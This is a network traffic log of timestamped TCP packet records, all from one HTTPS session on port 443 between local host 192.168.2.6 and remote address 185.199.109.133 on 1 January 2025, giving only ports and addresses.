Jan 1, 2025 16:54:58.461690903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.461729050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.461805105 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.461819887 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.461908102 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.461915970 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.461955070 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462265015 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462286949 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462342024 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462347984 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462383986 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462531090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462549925 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462582111 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462589025 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462599993 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462625027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462798119 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462812901 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462869883 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.462877989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.462929010 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.465301991 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.550836086 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.550856113 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.550981045 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.550991058 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.551038027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552064896 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552082062 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552150965 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552160025 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552197933 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552258968 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552278996 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552316904 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552323103 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552349091 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552372932 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552618027 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552635908 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552700996 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552706957 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552736998 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552736998 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552845955 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552870035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552901983 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552908897 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.552934885 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.552953959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.553392887 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553409100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553502083 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.553508997 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553560972 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.553613901 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553628922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553708076 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.553715944 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553767920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.553853035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553869009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553926945 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.553934097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.553975105 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.556098938 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.641855955 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.641880035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.641990900 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.642004967 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.642051935 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.642961979 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.642977953 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643044949 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643053055 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643085003 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643270016 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643287897 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643335104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643342018 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643352032 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643378973 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643507004 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643522024 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643568039 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643577099 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643615961 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643760920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643781900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643816948 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643824100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.643850088 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.643867970 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.644238949 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644257069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644309044 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.644315004 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644355059 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.644414902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644431114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644473076 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.644480944 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644515991 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.644771099 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644785881 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644866943 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.644875050 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.644927979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.647150040 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.732999086 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.733019114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.733134031 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.733155012 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.733197927 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.733891964 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.733910084 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.733979940 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.733988047 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.734029055 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.735337019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735356092 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735438108 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.735445023 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735507011 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.735634089 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735651970 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735718966 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.735724926 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735780001 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.735826015 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735841036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735887051 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.735893965 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.735933065 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.736073017 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.736089945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.736135006 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.736143112 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.736181974 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.736289978 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.736304998 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.736335993 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.736342907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.736366987 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.736386061 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.738292933 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.823653936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.823677063 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.823834896 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.823847055 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.823888063 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.824039936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.824058056 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.824096918 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.824105024 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.824136019 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.824150085 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.825980902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826000929 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826047897 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826054096 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826095104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826107979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826215029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826231003 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826271057 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826277018 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826302052 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826327085 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826457977 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826479912 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826520920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826525927 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826544046 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826565981 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826788902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826805115 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826858997 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.826864958 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.826900959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.827071905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.827088118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.827117920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.827125072 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.827148914 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.827167034 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.827362061 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.827378988 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.827423096 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.827430010 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.827466965 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.828382015 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.914678097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.914697886 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.914798975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.914813995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.914855957 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.915014982 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.915030003 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.915069103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.915080070 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.915102959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.915136099 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.916954994 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.916971922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917057037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917064905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917102098 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917316914 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917331934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917371988 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917378902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917403936 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917423964 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917468071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917483091 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917534113 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917541027 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917578936 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917701960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917717934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917768002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.917777061 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.917814970 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.918004036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.918018103 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.918062925 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.918071032 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.918106079 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.918364048 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.918379068 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.918427944 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.918435097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:58.918469906 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:58.919790983 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.006081104 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.006127119 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.006315947 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.006350040 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.006402016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.006479025 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.006504059 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.006591082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.006603003 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.006642103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.007980108 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008008003 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008047104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008053064 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008075953 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008105993 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008244991 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008272886 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008305073 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008311033 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008335114 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008353949 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008421898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008455038 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008471966 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008490086 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008533001 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008702040 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008802891 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008829117 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008881092 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.008888960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.008933067 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.009027958 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009068012 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009079933 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.009087086 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009115934 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.009190083 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009207010 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009241104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.009248972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009272099 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.009524107 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009542942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009579897 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.009588957 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.009599924 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.011419058 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.096873045 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.096896887 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.097032070 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.097052097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.097095013 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.097678900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.097697020 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.097773075 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.097779989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.097826004 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.099580050 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.099597931 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.099666119 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.099673986 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.099713087 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.099927902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.099945068 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.099988937 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.099997997 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100018978 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100029945 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100243092 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100265980 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100300074 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100307941 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100336075 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100354910 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100517035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100533962 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100570917 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100578070 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100600958 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100621939 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100832939 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100852013 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100891113 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.100898027 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.100939035 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.101041079 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.101061106 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.101108074 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.101114035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.101135969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.101144075 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.102490902 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.187861919 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.187885046 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.187988043 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.188004017 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.188060999 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.188627005 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.188654900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.188766956 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.188780069 CET	443	49997	185.199.109.133	192.168.2.6
